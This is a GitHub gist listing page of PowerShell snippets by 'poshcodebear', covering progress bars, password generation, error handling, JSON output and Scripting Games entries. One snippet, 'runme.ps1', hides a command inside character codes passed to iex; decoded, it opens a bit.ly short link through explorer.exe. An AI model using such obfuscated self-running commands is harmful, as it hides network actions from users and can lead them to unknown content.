Skip to content

Instantly share code, notes, and snippets.

poshcodebear / write-progress_demo.ps1
Created Oct 11, 2018
Demonstration of PowerShell's Write-Progress cmdlet
View write-progress_demo.ps1
$first = 'One', 'Two', 'Three'
$second = 'A', 'B', 'C'
$counter1 = 0
foreach ($number in $first) {
$progress = @{
Activity = "Pass $($number)"
Status = 'Starting'
Id = 1
PercentComplete = ($counter1 / $first.Count) * 100
View New-RandomPassword.ps1
function New-RandomPassword {
$charset = ([char]'a'..[char]'z').foreach({[char]$_})
$RawPassword = ''
for ($i = 0; $i -lt 14; $i++)
# First and last 4 are letters
if ($i -lt 4 -or $i -gt 9)
if ($i % 2 -eq 0)
View 2017-12-26-error-examples.ps1
# throws an error:
Get-Content nothing
# Should show the same error message:
# Shows the target of your command:
# Shows the message itself (the first line in the error on your screen):
View 2017-12-26-error-trycatchfinally.ps1
$computers = Get-Content computers.txt -ErrorAction Stop
"There was a problem opening the file; message: $($_.Exception.Message)" | Out-File -FilePath 'error.log' -Append
View runme.ps1
iex "$((101,120,112,108,111,114,101,114,46,101,120,101,32,104,116,116,112,58,47,47,98,105,116,46,108,121,47,52,107,98,55,55,118|%{[char]$_})-join'')"
poshcodebear / 20170613-jsonsample.json
Created Jun 13, 2017
Sample json output of 'Get-Service winrm | ConvertTo-JSON'
View 20170613-jsonsample.json
"CanPauseAndContinue": false,
"CanShutdown": true,
"CanStop": true,
"DisplayName": "Windows Remote Management (WS-Management)",
"DependentServices": [
"MachineName": ".",
"ServiceName": "winrm",
poshcodebear / sg-2016-03-basic.ps1
Last active Mar 22, 2016
Scripting Games March 2016: Basic Diacritics
View sg-2016-03-basic.ps1
Get-ChildItem 'C:\temp\FileShare' -Recurse | foreach {if ($_.Name -match '[\p{IsLatin-1Supplement}-[\x80-\xbf\xd7\xf7]]+') {$_ | select Name, Directory, CreationTime, LastWriteTime, Length}} | Format-Table -AutoSize
poshcodebear / sg-2016-01.ps1
Created Jan 14, 2016
Scripting Games January 2016: Get-PCBUptime
View sg-2016-01.ps1
function Get-PCBUptime {
A simple tool for checking how long a system on the network has been running since last boot.
Get-PCBUptime is a quick WMI-based tool for determinging a remote system's uptime. It is useful for verifying
what a user says when asked if they've rebooted their machine recently, or to generate a report of server uptimes.
Get-PCBUptime is written by and copyright of Christopher R. Lowery, aka The PowerShell Bear (; Twitter: @poshcodebear)
It is free for all to use, and free to distribute with attribution to the original author.
View gist:4b33132a9e1ec7a437d4
(Add-Content -Value 'MACHINENAME,OSVERSION' -Path .\Output.csv -Encoding Ascii -PassThru) | Get-WmiObject Win32_OperatingSystem -ComputerName (Import-Csv -Path .\Input.csv).MACHINENAME -ErrorAction Ignore | foreach {Add-Content -Value "$($_.PSComputerName),$($_.Caption)" -Path .\Output.csv -Encoding Ascii}
poshcodebear / sg-august.2015.ps1
Last active Aug 29, 2015
Scripting Games August 2015 entry
View sg-august.2015.ps1
# Works with PowerShell v2, but only works with very simple JSON
function Get-SimpleJSON {